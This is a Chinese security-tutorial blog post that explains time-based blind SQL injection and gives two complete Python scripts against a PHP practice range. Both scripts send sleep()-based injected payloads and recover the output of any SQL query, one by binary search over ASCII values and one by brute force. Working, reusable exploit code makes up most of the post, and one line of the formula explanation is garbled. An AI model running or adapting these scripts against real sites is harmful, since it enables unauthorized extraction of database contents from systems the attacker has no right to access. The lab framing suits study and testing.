Python 安全开发 时间盲注脚本

0x00 时间盲注原理

时间盲注应用于 页面 无论输入什么 页面显示 内容都一样, 可以用
’ and sleep(5) --+ 发现 页面响应超过5秒

用到的函数有

sleep(5) 延时函数 延迟5秒
if($SQL,sleep(5),1) if函数 如果sql语句为真,执行sleep(5),为假执行1
length(str) 返回str字符串的长度
ascii(str) 返回str字符串的ascii编码
substr(str,start,len) 返回str字符串从start位开始len长度的字符串

if(length(($SQL)) = x , s l e e p ( 5 ) , 1 ) i f ( a s c i i ( s u b s t r ( ( x, sleep(5),1) if(ascii(substr(( x,sleep(5),1)if(ascii(substr((SQL),$x,1)) = $y,sleep(5),1)

流程

length($sql_exp)= $x 依次判断出 查询出的长度

if(ascii(substr((%s),%d,1))>%f,sleep(3),1)" % (exp, i, mid ) 依次判断出要查询的每位的ascii值

0x01脚本编写 (请求少,费时多)

以开普勒php开源靶场为例

  • 下载地址

      https://github.com/admin360bug/PHP
    

1.1用到的库

requests
有waf 还可以加 time

import requests

1.2判断页面响应

根据页面响应判断
有三种响应
登录成功 关键词 “login ok,success…”
登录失败 关键词 “登录失败”
空页面情况,其他情况

def check_res(res):
    if  res.elapsed.seconds > 2 :
        return True
    else:
        return False

1.3判断返回字符串长度

因为不知道执行次数,就用while True循环(死循环),直到 sql语句执行失败的长度的临界值就为要查询的内容的长度
eg:
length(select version()) > 1 为True

length(select version()) > 5 为False
进入 if not check_res(res) 为真, break 终止while死循环。 得到 length 为 5

def res_length(exp):
    length = -1
    sess = requests.session()

    while True:
        sql_exp = "if(length((%s)) = %d ,sleep(3),1)" % (exp, length)
        url = "http://www.bachang.com/index.php/Home/Index/SQL_three?id=2' and %s --+" % (sql_exp)
        res = sess.get(url)
        #print(res.url)
        #print(res.elapsed.seconds)
        if check_res(res) :
            break
        length += 1
    return length

1.4 获取查询结果

通过二分法提高查询效率
eg: 以版本号 首尾为 5 测试 ascii(5)=53
在这里插入图片描述

先比较(0+127) 如果成立,比较 (63+127) //2 = 95 ,如果不成立 比较 (0+63)//2 = 31 依次类推

def res_result(exp,length):
    result = ""
    sess = requests.session()

    for i in range(length):
        left = 0
        right = 127
        while True:
            mid = (left+right) // 2
            print(i)
            if mid == left :
                result += chr(right)
                break
            sql_exp = "if(ascii(substr((%s),%d,1))>%f,sleep(3),1)" % (exp, i+1, mid )
            url = "http://www.bachang.com/index.php/Home/Index/SQL_three?id=2' and %s --+" % (sql_exp)
            res = sess.get(url)

            if check_res(res):
                left = mid
            else:
                right = mid

    return result

1.5 主函数

写一个 while 循环 一直 可以输入命令

if __name__ == '__main__':
    while True:
        exp= input(">>>请输入SQL语句:")
        length = res_length(exp)
        print("[+]length:%s " % (length))
        result = res_result(exp,length)
        print("[+]result:%s" % (result))

在这里插入图片描述

0x02 脚本编写(请求多,费时少)

区别在于:获取结果部分 没有用二分法,直接挨个暴力猜解的。

import requests

def check_res(res):
    if  res.elapsed.seconds > 2 :
        return True
    else:
        return False

def res_length(exp):
    length = -1
    sess = requests.session()

    while True:
        sql_exp = "if(length((%s)) = %d ,sleep(3),1)" % (exp, length)
        url = "http://www.bachang.com/index.php/Home/Index/SQL_three?id=2' and %s --+" % (sql_exp)
        res = sess.get(url)
        #print(res.url)
        #print(res.elapsed.seconds)
        if check_res(res) :
            break
        length += 1
    return length

def res_result(exp,length):
    result = ""
    sess = requests.session()

    for i in range(length):
        for ascii in range(128):
            sql_exp = "if(ascii(substr((%s),%d,1)) = %f,sleep(3),1)" % (exp, i+1, ascii )
            url = "http://www.bachang.com/index.php/Home/Index/SQL_three?id=2' and %s --+" % (sql_exp)
            res = sess.get(url)
            if check_res(res):
                result += chr(ascii)
                break
    return result


if __name__ == '__main__':
    while True:
        exp= input(">>>请输入SQL语句:")
        length = res_length(exp)
        print("[+]length:%s " % (length))
        result = res_result(exp,length)
        print("[+]result:%s" % (result))
  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值